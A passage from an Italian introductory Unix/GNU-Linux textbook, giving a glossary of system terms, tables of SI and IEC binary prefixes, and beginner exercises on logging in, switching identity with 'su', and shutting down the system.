  Quando una risorsa viene condivisa da più processi elaborativi attraverso la suddivisione del tempo di utilizzo in «fettine», si definisce che il suo utilizzo avviene in modo *time sharing*, dove le porzioni di tempo assegnate sono note come *time slice*.

3.29.2 Utenza

- ***Account***

  Il termine *account* rappresenta letteralmente un conto, come quello che si può avere in banca. All'interno di un sistema operativo Unix, si ha un *account* quando si è stati registrati (e di conseguenza è stato ottenuto un UID) ed è possibile accedere attraverso la procedura di accesso.

- ***GID***

  Group identifier, *Group ID* o numero identificativo del gruppo di utenti.

- ***Login*, *logout*, *procedura di accesso***

  Con procedura di accesso si vuole fare riferimento al procedimento attraverso il quale un utente accede e può interagire con il sistema, dopo una fase di identificazione, che di solito consiste nell'indicazione di un nominativo-utente e di una parola d'ordine. In particolare *login* identifica l'ingresso dell'utente, mentre *logout* identifica la conclusione dell'attività dello stesso.

- ***UID***

  User identifier, *User ID* o numero identificativo dell'utente.

- ***Password***, ***passphrase***, ***parola d'ordine***

  Si riferisce a una parola o a una frase utilizzata come mezzo di verifica dell'identificazione per poter accedere a un servizio di qualunque genere.

3.29.3 File e file system

- ***Second-extended***, ***Ext2***, ***Ext3***, ***Ext4***

  Il file system nativo del sistema GNU/Linux è il tipo Second-extended, il quale prevede delle varianti: Ext2, Ext3 e Ext4. Le varianti Ext3 e Ext4 contengono delle estensioni che consentono di ridurre la possibilità di perdite di dati, mantenendo la compatibilità con Ext2; ma nel caso di Ext4 si può contare solo su una compatibilità parziale.

- ***FAT***

  File allocation table. La FAT è una parte componente del file system dei sistemi Dos. È così particolare che tale tipo di file system viene chiamato con questa stessa sigla: FAT.

- ***Glob***, ***globbing***, ***caratteri jolly***, ***metacaratteri***

  Quando si vuole identificare un gruppo di file (e directory) attraverso una sola definizione si utilizza il meccanismo del *glob*, corrispondente in ambiente Dos all'uso dei caratteri jolly. Si tratta di solito dell'asterisco, del punto interrogativo e delle parentesi quadre.

- ***Mount***, ***unmount***,

  Nei sistemi operativi Unix, quando si vuole accedere ai dati memorizzati su disco, non si può fare riferimento a un file appartenente a una certa unità come avviene nei sistemi Dos e derivati. Si deve sempre fare riferimento al file system globale. Per fare questo, tutti i dischi a cui si vuole accedere devono essere uniti tramite un procedimento simile all'innesto di rami. Il termine *mount* indica un collegamento, o l'innesto, del contenuto di un disco nel file system globale; il termine *unmount* indica il distacco di un disco dalla struttura globale.

- ***Newline***, ***interruzione di riga***

  Con questo termine si vorrebbe fare riferimento al codice necessario per indicare la fine di una riga di testo e l'inizio di quella successiva. Utilizzando questo nome si dovrebbe evitare di fare riferimento direttamente al codice effettivo in modo che il concetto possa essere adatto a diversi sistemi.

  I sistemi Unix più comuni utilizzano il codice <*LF*>. Nei sistemi Dos e discendenti si utilizza invece la coppia <*CR*><*LF*>. Per convertire un file di testo, è possibile utilizzare un filtro che trasformi il carattere <*LF*> in <*CR*><*LF*>, o viceversa. Spesso, programmi che svolgono questi compiti hanno nomi del tipo '`unix2dos`' e '`dos2unix`'.

  Normalmente, negli ambienti Unix si confonde tranquillamente il termine *new-line* con il codice <*LF*>. Ciò costituisce un problema, perché ci sono situazioni in cui è importante chiarire che si tratta del codice <*LF*> in modo indipendente dalla piattaforma a cui si applica il concetto. Pertanto, quando si incontra il termine *new-line*, è indispensabile fare attenzione al senso del testo, usando un po' di buon senso.

- ***Record***

  Il record è in generale una registrazione di qualunque tipo. In informatica, il record corrisponde di solito a una riga di un file di dati. Un record è normalmente suddiviso in campi, o *field*, per cui si può fare un'analogia con un archivio a schede: l'archivio è il file, le schede sono i record e i campi sono i vari elementi indicati nelle schede.

- ***Regular file***

  Nei sistemi operativi della famiglia Unix, quando si parla di file, si intendono anche le directory oltre che altri oggetti con funzioni particolari. Per specificare che si parla di un file puro e semplice, comprendendo in questa categoria anche gli eseguibili, si parla di *regular file* o di file normale.

3.29.4 Rete

- ***Cliente***, ***Client***

  Un «cliente» è generalmente un programma che usufruisce di un servizio offerto da un «servente». Tuttavia, spesso si usa questo termine, in modo informale, anche per identificare un nodo di rete che, nell'ambito di un certo contesto, dipende da servizi offerti dall'esterno.

- ***Dominio***, ***nome di dominio***, ***nome a dominio***

  Normalmente, con il termine «dominio» si intende fare riferimento al nome che ha un certo nodo di rete in una rete Internet. Questo nome è composto da vari elementi che servono a rappresentare una gerarchia di domini, in modo simile a ciò che si fa nei file system con la struttura delle directory. Un «nome di dominio» può rappresentare una posizione intermedia di questa gerarchia, oppure anche il nome completo di un nodo di rete.

  Nella terminologia giuridica italiana si usa la definizione «nome a dominio».

- ***Host***

  Host è l'oste, ovvero, colui che ospita. Il termine *host* viene usato nell'ambito delle connessioni in rete per definire i nodi di rete, intesi come elaboratori, che svolgono e ospitano qualche tipo di servizio.

- ***Nodo di rete***

  Il nodo di rete è un elaboratore o un altro componente specializzato che è inserito in una rete e ha un indirizzo valido nella stessa (indirizzo riferito al livello 3, secondo il modello ISO-OSI; sezione 38.1).

- ***Protocollo***

  Il protocollo è un linguaggio convenzionale di comunicazione tra programmi (per esempio, un programma cliente comunica con un servente attraverso un protocollo determinato).

- ***Proxy***

  Il termine proxy viene usato in informatica in varie circostanze per identificare un servizio che si comporta in qualche modo come un procuratore, o un procacciatore di qualcosa. Il classico esempio di proxy è il servente che si inserisce tra una rete locale e una rete esterna, allo scopo di eseguire gli accessi verso la rete esterna per conto dei nodi

della rete locale, senza che questi possano avere alcun contatto diretto con l'esterno. Di solito, questo tipo di proxy incorpora una memoria cache per ridurre gli accessi ripetuti alle stesse risorse esterne. Tuttavia è bene tenere a mente che questa definizione si usa anche per altri tipi di servizi meno appariscenti.

- ***Servente***, ***Server***

  Un servente è generalmente un programma che fornisce un servizio attraverso la rete. Tuttavia, spesso si usa questo termine, in modo informale, anche per identificare un nodo di rete che ospita servizi importanti.

- ***TCP/IP***

  La sigla TCP/IP rappresenta l'insieme dei protocolli usati per le reti conformi agli standard di Internet.

- ***URL***, ***URI***

  Uniform resource locator, *Uniform resource identifier*. È il modo con cui si definisce un indirizzo che identifica precisamente una risorsa di rete, come una pagina HTML, un file in un servizio FTP e altro ancora. Le due definizioni hanno estensioni differenti; in particolare, URI include URL e URN (sezione 66.1).

3.29.5 Programmi, esecuzione e processi elaborativi

- ***Init***, ***procedura di inizializzazione del sistema***

  Init è il programma che viene avviato dal kernel allo scopo di avviare il sistema. Init si avvale di script per avviare dei programmi che rimangono sullo sfondo e per sistemare tutto ciò che c'è da fare prima che il sistema sia a regime. Tutto l'insieme viene indicato come procedura di inizializzazione del sistema, includendo sia l'avvio, sia l'arresto, distinguendo anche diversi livelli di esecuzione.

- ***Job***

  Il termine *job* viene usato spesso nella documentazione Unix in riferimento a compiti di vario tipo, a seconda del contesto.

  - ***Job di shell***

    Le shell POSIX e in particolare Bash, sono in grado di gestire i *job* di shell che rappresentano un insieme di processi generati da un solo comando.

  - ***Job di stampa***

    Si tratta di stampe inserite nella coda di stampa (*spool*).

  - ***Job di scheduling***

    Si tratta di comandi la cui esecuzione è stata pianificata per un certo orario o accodata in attesa di risorse disponibili.

  Le situazioni in cui il termine *job* viene adoperato possono essere anche altre, ma gli esempi indicati bastano per intendere l'ampiezza del significato.

- ***Log***, ***registrazioni***

  In informatica, il *log* equivale al ***giornale di bordo*** delle navi. Il *log* è quindi un sistema automatico di registrazione di avvenimenti significativi. I file che contengono queste

annotazioni sono detti file di *log* e potrebbero essere identificati anche come i file delle registrazioni. In generale, il *log* è un registro e le annotazioni che vi si fanno sono delle registrazioni.

- ***PID***

  Process identifier, *Process ID* o numero identificativo del processo.

- ***Pipe***, ***pipeline***[6], ***condotto***

  Si tratta di una tubazione immaginaria attraverso la quale, generalmente, si convoglia l'output di un programma verso l'input di un altro. La connessione di più programmi in questo modo è compito della shell e di solito si utilizza il simbolo '`|`' per indicare questa operazione. A volte, quando il contesto lo consente, il simbolo '`|`' viene anche chiamato *pipe*.

- ***Run level***, ***livello di esecuzione***

  Quando si utilizza una procedura di inizializzazione del sistema in stile System V, che è poi quella normale, si distinguono diversi ***livelli di esecuzione***, in modo da poter definire quali parti del sistema devono essere attivate e quali no, a seconda delle esigenze.

  Il livello di esecuzione è un numero non negativo che parte da zero, il cui significato dipende dal modo in cui il sistema è configurato. Di solito il livello zero è riservato per la fase di preparazione allo spegnimento, il livello uno è riservato al funzionamento monoutente e il livello sei è riservato alla fase di preparazione al riavvio del sistema.

- ***Script***

  Uno script è un file di comandi che costituisce in pratica un programma interpretato. Normalmente, l'interprete di uno script è anche una shell.

- ***Shell***

  La shell di un sistema operativo è quel programma che si occupa di interpretare ed eseguire i comandi dati dall'utente, attraverso una riga di comando. Il termine shell, utilizzato per questo scopo, nasce proprio dai sistemi operativi Unix.

- ***Standard error***

  Il file o il dispositivo predefinito per l'emissione dei dati relativi a segnalazioni di errore è lo standard error. Di solito si tratta del video della console o del terminale da cui si opera. Lo standard error, di norma, può essere ridiretto utilizzando il simbolo '**`2>`**' seguito dal nome del file o del dispositivo da utilizzare.

- ***Standard input***

  Il file o il dispositivo predefinito per l'inserimento dei dati, è lo standard input. Di solito è la tastiera della console o del terminale da cui si opera. Per terminare l'inserimento occorre fornire il carattere di fine file (*<EOT>*, ovvero *<^d>*) che di solito si ottiene con la combinazione [*Ctrl d*].

  Lo standard input, di norma, può essere ridiretto con il simbolo minore ('**`<`**') seguito dal nome del file o del dispositivo da utilizzare, oppure con la barra verticale ('`|`') quando si vuole utilizzare l'output di un comando come input per il comando successivo.

- ***Standard output***

  Il file o il dispositivo predefinito per l'uscita dei dati, è lo standard output. Di solito è il video della console o del terminale da cui si opera. Lo standard output, di norma,

può essere ridiretto utilizzando il simbolo maggiore ('>') seguito dal nome del file o del dispositivo da utilizzare, oppure può essere diretto a un comando seguente attraverso la barra verticale ('|').

- ***Unix domain socket***, ***socket di dominio Unix***

  Si tratta di un sistema di comunicazione tra le applicazioni basato su un tipo di file speciale: il *socket*. Alcuni demoni offrono servizi attraverso questo tipo di comunicazione stando in ascolto in attesa di una richiesta di connessione da parte delle applicazioni clienti.

- ***Utility***, ***utilità***, ***programma di utilità***, ***programma di servizio***

  Un'*utility*, ovvero un programma di utilità, o meglio un programma di servizio, è un programma utile e pratico che svolge il suo compito senza tanti fronzoli e senza essere troppo appariscente. Di solito, i programmi di questo tipo sono quelli che fanno parte integrante del sistema operativo.

3.29.6 Varie

- ***Case sensitive***, ***case insensitive***

  Con queste due definizioni si intende riferirsi rispettivamente alla «sensibilità» o meno verso la differenza tra le lettere maiuscole e minuscole. Generalmente, i sistemi Unix sono sensibili a questa differenza, nel senso che distinguono i nomi anche in base alla combinazione di lettere maiuscole e minuscole, ma esistono circostanze in cui questa distinzione non c'è o si vuole ignorare.

- ***Core***

  Negli ambienti Unix, *core* è sinonimo di memoria centrale, o RAM. Questa parola deriva dal fatto che gli elaboratori usati inizialmente con il sistema UNIX erano dotati di memoria RAM realizzata attraverso un reticolo di nuclei ferromagnetici: la memoria a nuclei, ovvero *core*. Per questo motivo, spesso, quando un processo termina in modo anormale, il sistema operativo scarica in un file l'immagine che questo processo ha in memoria. Questo file ha il nome '`core`' (ovviamente) e può essere analizzato successivamente attraverso strumenti diagnostici opportuni.

  Per un approfondimento sulla memoria a nuclei si veda: *Core memory*, ⟨http://www.science.uva.nl/museum/CoreMemory.html⟩, dell'università di Amsterdam; *Yet another PDP-11 Page, How core memory works*, ⟨http://www.psych.usyd.edu.au/pdp-11/core.html⟩, di John Holden.

- ***Memoria cache***, ***cache***

  La memoria cache è una porzione di memoria centrale utilizzata per conservare o trattenere delle informazioni di uso frequente, in modo da non doverle richiedere ogni volta dalla loro fonte originaria. A titolo di esempio, si usa una memoria cache per alleggerire gli accessi alle unità di memorizzazione di massa, oppure per evitare il ripetersi di richieste di dati uguali attraverso la rete. Il termine «memoria cache» si usa però anche per file provvisori che hanno lo scopo di contenere informazioni che potrebbero essere riutilizzate in tempi brevi, contenuti solitamente a partire dalla directory '`/var/cache/`'.

- ***Memoria tampone***, ***buffer***

  La memoria tampone è un tipo di memoria cache, con funzionalità più limitate, indispensabile per il trasferimento dei dati, usata idealmente come una spugna per assorbire i dati da una parte e per scaricarli dall'altra. Per esempio, per poter accedere a un byte singolo contenuto in un'unità di memorizzazione di massa, è necessario utilizzare un'area di memoria centrale corrispondente almeno alla dimensione del blocco di dati minimo per tale unità. Questa area di memoria è da considerare come un «tampone».

- ***Daemon***, ***demone***

  Il *daemon*, o demone, è un programma che funziona sullo sfondo (*background*) e, normalmente, compie dei servizi in modo ripetitivo, come in un circolo vizioso. Questo termine è tipico degli ambienti Unix, mentre con altri sistemi operativi si utilizzano definizioni differenti, per esempio servente. Per tradizione, la maggior parte dei programmi demone ha un nome che termina con la lettera «d».

- ***Espressione regolare***, ***regular expression***, ***regexp***

  L'espressione regolare (si veda la sezione 26.1) è un modello per la ricerca di stringhe. Viene usata da diversi programmi di servizio.

- *Implementation*, ***realizzazione***

  Il verbo inglese *to implement* rappresenta il modo con cui una caratteristica progettuale particolare viene definita in pratica in un sistema determinato. In altre parole, si tratta della soluzione pratica adottata per assolvere a una funzione determinata, soprattutto quando le indicazioni originarie per raggiungere il risultato sono incomplete. In forma ancora più stringata, si tratta della **realizzazione** di qualcosa in un contesto determinato.

  Si osservi comunque che in italiano è bene evitare l'uso del verbo «implementare», preferendo piuttosto forme alternative, possibilmente più chiare, per esprimere il concetto che si intende.

- ***Internazionalizzazione***, ***i18n***

  L'internazionalizzazione è l'azione con cui si realizza o si modifica un programma, in modo che sia sensibile alla «localizzazione». La sigla deriva dal fatto che tra la lettera «i» e la lettera «n» di *internationalization* ci sono 18 lettere.

- ***Localizzazione***, ***l10n***

  La localizzazione è la configurazione attraverso la quale si fa in modo che un programma determinato si adatti alle particolarità linguistico-nazionali locali. La sigla deriva dal fatto che tra la lettera «l» e la lettera «n» di *localization* ci sono 10 lettere.

- ***Terminale***, ***TTY***

  Alle origini, il modo normale per interagire con un elaboratore è stato l'uso della telescrivente: *teletype*. Da questo nome deriva la sigla TTY usata normalmente per identificare un terminale generico. La console è il terminale principale che fa parte dell'elaboratore stesso. Quando si parla di terminale si intende attualmente un complesso formato da una tastiera e da un video.

  Quando si parla di un flusso di dati proveniente da un terminale, come nel caso dello standard input, si fa riferimento a quanto inserito tramite la tastiera. Quando si parla di un flusso di dati verso un terminale, come nel caso dello standard output, si fa riferimento a quanto viene emesso sullo schermo.

3.30 Unità di misura

Nell'ambito informatico ha preso piede un'abitudine poco scientifica di utilizzare unità di misura e prefissi moltiplicatori che non sono conformi allo standard internazionale, definito dal SI, ovvero il *Sistema internazionale di unità* (BIPM: *Bureau international des poids et mesures*, ⟨http://www.bipm.org/⟩).

È importante che chi si avvicina all'uso dell'elaboratore non faccia confusione: i prefissi moltiplicatori sono quelli che sono riassunti nella tabella 3.19.

I moltiplicatori riferiti alle unità di misura hanno un significato e un valore ben preciso. È un errore l'uso dei termini «kilo», «mega», «giga» e «tera», per rappresentare moltiplicatori pari a 2^{10}, 2^{20}, 2^{30} e 2^{40}, come si fa abitualmente per misurare grandezze riferite a bit o a byte.

Tabella 3.19. Prefissi del *Sistema internazionale di unità* (SI).

Nome	Simbolo	Valore	Note
yotta	Y	10^{24}	
zetta	Z	10^{21}	
exa	E	10^{18}	
peta	P	10^{15}	
tera	T	10^{12}	
giga	G	10^{9}	
mega	M	10^{6}	
kilo	k	10^{3}	Lettera «k» minuscola.
hecto, etto	h	10^{2}	
deca	da	10	
		1	Nessun moltiplicatore.
deci	d	10^{-1}	
centi	c	10^{-2}	
milli	m	10^{-3}	
micro	μ	10^{-6}	
nano	n	10^{-9}	
pico	p	10^{-12}	
femto	f	10^{-15}	
atto	a	10^{-18}	
zepto	z	10^{-21}	
yocto	y	10^{-24}	

Lo standard IEC 60027-2 introduce un gruppo nuovo di prefissi da utilizzare in alternativa a quelli del SI, per risolvere il problema dell'ambiguità causata dall'uso improprio dei prefissi del SI in ambito informatico. A questo proposito, una discussione particolareggiata su questo argomento si può trovare nel documento *Standardized units for use in information technology*, di Markus Kuhn, ⟨http://www.cl.cam.ac.uk/~mgk25/information-units.txt⟩. La tabella 3.20 riporta l'elenco di questi prefissi speciali.

Tabella 3.20. Prefissi IEC 60027-2.

Origine	Nome	Simbolo	Valore	Note
kilobinary	kibi	Ki	2^{10}	Si usa la «K» maiuscola.
megabinary	mebi	Mi	2^{20}	
gigabinary	gibi	Gi	2^{30}	
terabinary	tebi	Ti	2^{40}	
petabinary	pebi	Pi	2^{50}	
exabinary	exbi	Ei	2^{60}	
zettabinary	zebi	Zi	2^{70}	
yottabinary	yobi	Yi	2^{80}	

La sezione 57.3.3 contiene una descrizione più dettagliata a proposito del modo corretto di rappresentare le grandezze e le unità di misura.

3.31 Riferimenti

- Eric S. Raymond, *The Unix and Internet Fundamentals HOWTO*

  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩

- Eric S. Raymond, *Jargon File Resources*

  ⟨*http://www.catb.org/~esr/jargon/* ⟩

[1] Il tipo di barra obliqua che si utilizza dipende dal sistema operativo. La barra obliqua normale corrisponde al sistema tradizionale.

[2] La sostituzione dei caratteri jolly, ovvero dei metacaratteri, è il procedimento attraverso il quale alcuni caratteri speciali vengono tradotti in un elenco di nomi di file e directory corrispondenti. Negli ambienti Unix si utilizza il termine *globbing* per fare riferimento a questo concetto.

[3] La parola *login* va pronunciata separando le due sillabe: «log-in». Lo stesso valga per la parola *logout* che va pronunciata: «log-out».

[4] Il termine «file» non viene tradotto in italiano a causa di una carenza storica dell'informatica meccanizzata, rispetto agli altri paesi occidentali. Il termine che più si può avvicinare al concetto di file, sulla scorta di quanto si fa in francese o in tedesco, è «schedario elettronico». Un file di oggi ha poco a che vedere con uno schedario; tuttavia, la prima forma di elaborazione dati meccanica è avvenuta attraverso schede perforate, rendendo appropriata la quella definizione. Infatti, in francese si chiama «fichier», mentre in tedesco si usa «datei», come variante di «kartei», ovvero «schedario».

[5] Per gruppo proprietario si intende quello che è stato attribuito ai file in questione.

[6] Queste parole si pronunciano: «p-a-i-p» e «p-a-i-p-l-a-i-n».

Capitolo 4

Esercizi pratici

4.1 Accesso al sistema e conclusione dell'attività 104
4.1.1 Cambiamento di identità 105
4.1.2 Console virtuali 106
4.1.3 Chi sono? 106
4.1.4 Terminare una sessione di lavoro 106
4.1.5 Spegnimento 107
4.1.6 Diventare temporaneamente amministratore 108
4.1.7 Conclusione 109
4.2 Gestione delle parole d'ordine 109
4.2.1 L'utente «root» che cambia la parola d'ordine di un utente comune 109
4.2.2 L'utente comune che cambia la propria parola d'ordine 110
4.2.3 Conclusione 111
4.3 Navigazione tra le directory 111
4.3.1 Directory corrente 111
4.3.2 Spostamenti assoluti e relativi 111
4.3.3 Spostamenti a ritroso 112
4.3.4 Riferimento preciso alla directory corrente 113
4.3.5 Directory corrente e «.» 113
4.3.6 Directory personale, o directory «home» 113
4.3.7 Conclusione 114
4.4 Contenuti 114
4.4.1 Contenuto delle directory 114
4.4.2 Contenuto dei file 116
4.4.3 Determinazione del tipo 117
4.4.4 Spazio utilizzato e spazio disponibile 118
4.4.5 Conclusione 118
4.5 Creazione, copia ed eliminazione di file 119
4.5.1 Creazione di un file 119
4.5.2 Copia di file 120
4.5.3 Eliminazione di file 120
4.5.4 Conclusione 121
4.6 Creazione, copia ed eliminazione di directory 121
4.6.1 Creazione di una directory 121
4.6.2 Copia di directory 121

4.6.3 Eliminazione di directory 121
4.6.4 Eliminazione di directory il cui nome inizia con un punto 123
4.6.5 Conclusione 123

4.7 Spostamenti e collegamenti di file e directory 124

4.7.1 Spostamento e ridenominazione 124
4.7.2 Collegamenti 125
4.7.3 Conclusione 127

4.8 La shell 127

4.8.1 Completamento automatico con la shell Bash 127
4.8.2 Sostituzione 128
4.8.3 Asterisco 128
4.8.4 Punto interrogativo 129
4.8.5 Parentesi quadre 130
4.8.6 Protezione 130
4.8.7 Verifica della sostituzione 131
4.8.8 Ridirezione 132
4.8.9 Condotti 132
4.8.10 Alias 133
4.8.11 Conclusione 134

4.9 Controllo dei processi 134

4.9.1 Visualizzazione dello stato dei processi 134
4.9.2 Eliminazione dei processi 135
4.9.3 Processi sullo sfondo 136
4.9.4 Conclusione 136

4.10 Permessi 137

4.10.1 Permessi sui file 137
4.10.2 Permessi sulle directory 138
4.10.3 Maschera dei permessi: umask 139
4.10.4 Conclusione 141

4.11 Creazione e modifica di file di testo 141

4.11.1 Modalità di comando e di inserimento 141
4.11.2 Creazione 141
4.11.3 Inserimento di testo 142
4.11.4 Spostamento del cursore 142
4.11.5 Cancellazione 143
4.11.6 Salvataggio e conclusione 144

4.11.7 Apertura di un file esistente 145
4.11.8 Conclusione 145

4.12 File eseguibili 145

4.12.1 Avvio di un programma e variabile di ambiente «PATH» 146
4.12.2 Comandi interni di shell 148
4.12.3 Script e permessi di esecuzione 150
4.12.4 Conclusione 150

4.13 Ricerche 151

4.13.1 Find 151
4.13.2 Grep 152
4.13.3 Conclusione 152

4.14 Memoria di massa e file system con i dischetti 152

4.14.1 Inizializzazione a basso livello 152
4.14.2 Predisposizione del file system 153
4.14.3 Innestare e staccare i dischetti 154
4.14.4 Conclusione 156

4.15 Dispositivi 156

4.15.1 File «/dev/null» 156
4.15.2 Dispositivi di memorizzazione 157
4.15.3 Conclusione 157

I sistemi operativi Unix non sono «facili»; tuttavia, può essere relativamente facile l'installazione della maggior parte delle distribuzioni GNU esistenti.

Questo capitolo raccoglie alcuni esercizi pratici che dovrebbero essere svolti da chi non ha esperienze con i sistemi operativi Unix e simili. Sono pensati per essere svolti su un elaboratore isolato, nel senso che non vengono trattate le funzionalità di rete.

Chi non ha la possibilità di disporre di un sistema Unix funzionante, farebbe bene ugualmente a leggere questo capitolo anche se non può fare subito delle prove pratiche. Gli esempi sono mostrati in modo da essere abbastanza vicini all'interazione che avviene effettivamente tra l'utente e il sistema operativo.[1]

Gli esercizi proposti assumono che si tratti di un sistema GNU/Linux con le caratteristiche e la disponibilità di quanto viene descritto nell'elenco seguente:

- console virtuali;
- shell POSIX, possibilmente Bash ('`/bin/bash`');
- maschera dei permessi (*umask*) 002_8 per gli utenti comuni;

- '**`su`**';
- gestione di file system Second-extended (Ext2, Ext3 e Ext4), Dos-FAT ('**`msdos`**') e Minix ('**`minix`**');
- la directory '`/mnt/`' disponibile per l'innesto temporaneo di altri dischi (e non sia impegnata in condizioni normali);
- organizzazione delle utenze con gruppi personali (per cui, l'utente '**`tizio`**' sia abbinato al gruppo '**`tizio`**', l'utente '**`caio`**' sia abbinato al gruppo '**`caio`**', ecc.);

Inoltre, è importante che la persona che svolge gli esercizi possa disporre di più di una utenza (*account*) in modo da poter verificare l'effetto di comandi che intervengono sull'identità dell'utente; meglio ancora se tale persona utilizza un proprio elaboratore dove può assumere l'identità dell'utente '**`root`**'.

Eventualmente, si può ottenere un accesso remoto a un sistema Unix presso uno dei siti seguenti. In tal caso, però, solo alcune delle esercitazioni possono essere svolte e il comportamento del sistema operativo potrebbe risultare non perfettamente conforme agli esempi mostrati in questa parte.

- *SDF Public Access UNIX System*

  ⟨http://www.freeshell.org/ ⟩
- *M-Net Arbornet*

  ⟨http://arbornet.org ⟩
- *Nic.Nac.Project*

  ⟨http://nic-nac-project.org ⟩

4.1 Accesso al sistema e conclusione dell'attività

«

Per utilizzare il sistema occorre accedere attraverso un processo di identificazione. Per poter essere identificati e accettati occorre essere stati registrati in un'utenza, rappresentata in pratica da un nominativo-utente e da una parola d'ordine. È importante rammentare che l'uso di lettere maiuscole o minuscole non è equivalente. Nell'esempio proposto si suppone di accedere utilizzando il nominativo '**`tizio`**', scritto così, con tutte le lettere minuscole, e la parola d'ordine '**`tazza`**'.

Si comincia dall'inserimento del nominativo, **volontariamente errato**.

`login:` **`tizia`** [*Invio*]

Anche se il nominativo indicato non esiste, viene richiesto ugualmente l'inserimento della parola d'ordine (o almeno così dovrebbe essere). Si tratta di una misura di sicurezza, per non dare informazioni sull'esistenza o meno di un nominativo-utente determinato.

`Password:` **`tazza`** [*Invio*]

```
Login incorrect
```

Naturalmente, l'inserimento della parola '**tazza**', in qualità di parola d'ordine, avviene alla cieca, nel senso che non appare come sembrerebbe dall'esempio. Ciò serve a evitare che un vicino indiscreto possa in seguito utilizzare tale informazione per scopi spiacevoli.

Se si sbaglia qualcosa nella fase di accesso (*login*), si deve ricominciare. Questa volta si suppone di eseguire l'operazione in modo corretto.

login: **tizio** [*Invio*]

Password: **tazza** [*Invio*]

```
Last login: Sun Nov 11 10:45:11 on tty1
```

Generalmente, dopo avere superato correttamente la procedura di accesso, si ottiene l'informazione sull'ultima volta che quell'utente ha fatto un accesso. Ciò permette di verificare in maniera molto semplice che nessuno abbia utilizzato il sistema accedendo con il proprio nominativo.

Successivamente si ottiene l'invito della shell (il *prompt*) che sta a indicare la sua disponibilità a ricevere dei comandi.

```
$
```

L'invito, rappresentato in questo esempio da un simbolo dollaro, può essere più o meno raffinato, con l'indicazione di informazioni ritenute importanti dall'utente. Infatti si tratta di qualcosa che ogni utente può configurare come vuole, ma ciò va oltre lo scopo di queste esercitazioni.

Spesso, per tradizione, l'invito termina con un simbolo che cambia in funzione del livello di importanza dell'utente: se si tratta di '**root**' si usa il cancelletto (ovvero '**#**'), altrimenti il dollaro, come in questo esempio.

4.1.1 Cambiamento di identità

Quando la stessa persona dispone di più di un'utenza, può essere opportuno, o necessario, agire sotto una diversa identità rispetto a quella con cui si accede attualmente. Questa è la situazione tipica in cui si trova l'amministratore di un sistema: per le operazioni diverse dall'amministrazione vera e propria dovrebbe accedere in qualità di utente comune, mentre negli altri casi deve utilizzare i privilegi riservati all'utente '**root**'.

Ci sono due modi fondamentali: concludere la sessione di lavoro e accedere con un altro nominativo-utente, oppure utilizzare il comando '**su**' cambiando temporaneamente i propri privilegi.

$ **su caio** [*Invio*]

Password: **ciao** [*Invio*]

Se la parola d'ordine è corretta si ottengono i privilegi e l'identità dell'utente indicato, altrimenti tutto resta come prima.

4.1.2 Console virtuali

Un sistema GNU/Linux, installato in modo normale, consente l'utilizzo di diverse console virtuali (di solito sono sei) a cui si accede con la combinazione [*Alt Fn*] (dove ***n*** è un numero da uno a sei).[2]

Quando è già stato fatto un accesso, si può iniziare un'altra sessione di lavoro in un'altra console.

[*Alt F2*]

In questo modo si passa alla seconda console virtuale e su questa si può eseguire un accesso differente. Le attività svolte nelle varie console virtuali sono indipendenti, come se avvenissero attraverso terminali fisicamente distinti.

Prima di proseguire con gli esercizi si deve ritornare alla console virtuale utilizzata in precedenza.

[*Alt F1*]

4.1.3 Chi sono?

Quando la stessa persona può accedere utilizzando diversi nominativi-utente, potrebbe essere necessario controllare con quale identità sta operando. Negli esempi che seguono si suppone che sia riuscita l'esecuzione del comando '**`su caio`**' mostrato in precedenza.

$ **`whoami`** [*Invio*]

```
caio
```

Il comando '**`whoami`**' («chi sono») permette di conoscere con quale identità si sta operando.

$ **`logname`** [*Invio*]

```
tizio
```

Il comando '**`logname`**' permette di conoscere con quale identità ci si è presentati inizialmente, nel momento dell'accesso.

4.1.4 Terminare una sessione di lavoro

Per terminare una sessione di lavoro è sufficiente concludere l'attività della shell, ovvero di quel programma che mostra l'invito.

Se la situazione è quella degli esempi precedenti, si stava operando come utente '**`caio`**' dopo un comando '**`su`**', mentre prima di questo si stava usando l'identità dell'utente '**`tizio`**'.

$ **`whoami`** [*Invio*]

```
caio
```

$ **`exit`** [*Invio*]

In tal caso, il comando '**exit**' appena eseguito fa tornare semplicemente alla situazione precedente all'esecuzione di '**su**'

$ **whoami** [*Invio*]

```
tizio
```

Il comando '**exit**' che chiude l'ultima shell, termina l'accesso al sistema.

$ **exit** [*Invio*]

login:

Si ripresenta la richiesta di identificazione della procedura di accesso.

4.1.5 Spegnimento

Lo spegnimento dell'elaboratore può avvenire solo dopo che il sistema è stato fermato, generalmente attraverso il comando '**shutdown**' che però è accessibile solo all'utente '**root**'.

login: **root** [*Invio*]

Password: **ameba** [*Invio*]

shutdown -h now [*Invio*]

```
System is going down NOW!!
…
```

Inizia la procedura di arresto del sistema, che si occupa di eliminare gradualmente tutti i servizi attivi. In un sistema GNU/Linux, alla fine viene visualizzato un messaggio simile a quello seguente:

```
Power down
```

Quando questo appare, ammesso che l'elaboratore non si sia già spento da solo, è possibile spegnerlo manualmente o riavviarlo.

Se si vuole utilizzare '**shutdown**' attraverso il comando '**su**' in modo da non dovere uscire e rifare un *login*, è possibile agire come di seguito.

$ **su** [*Invio*]

Quando si utilizza il comando '**su**' senza argomenti si indica implicitamente che si vuole ottenere l'identità dell'utente '**root**'.

Password: **ameba** [*Invio*]

shutdown -h now [*Invio*]

4.1.6 Diventare temporaneamente amministratore

Il comando '**`su`**', appena mostrato, quando viene usato per acquisire i privilegi dell'utente '**`root`**', mette a disposizione solo un ambiente limitato (si vuole fare riferimento alle variabili di ambiente e al loro contenuto). Per esempio, se l'utente '**`caio`**' diventa temporaneamente '**`root`**', il contenuto della variabile di ambiente ***PATH*** cambia in modo strano:

```
$ whoami [Invio]

  caio

$ echo $PATH [Invio]

  /usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games:↩
  ↪/opt/prova/bin:/bin:./bin

$ su [Invio]

Password: ameba [Invio]

# whoami [Invio]

  root

# echo $PATH [Invio]

  /sbin:/bin:/usr/sbin:/usr/bin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin
```

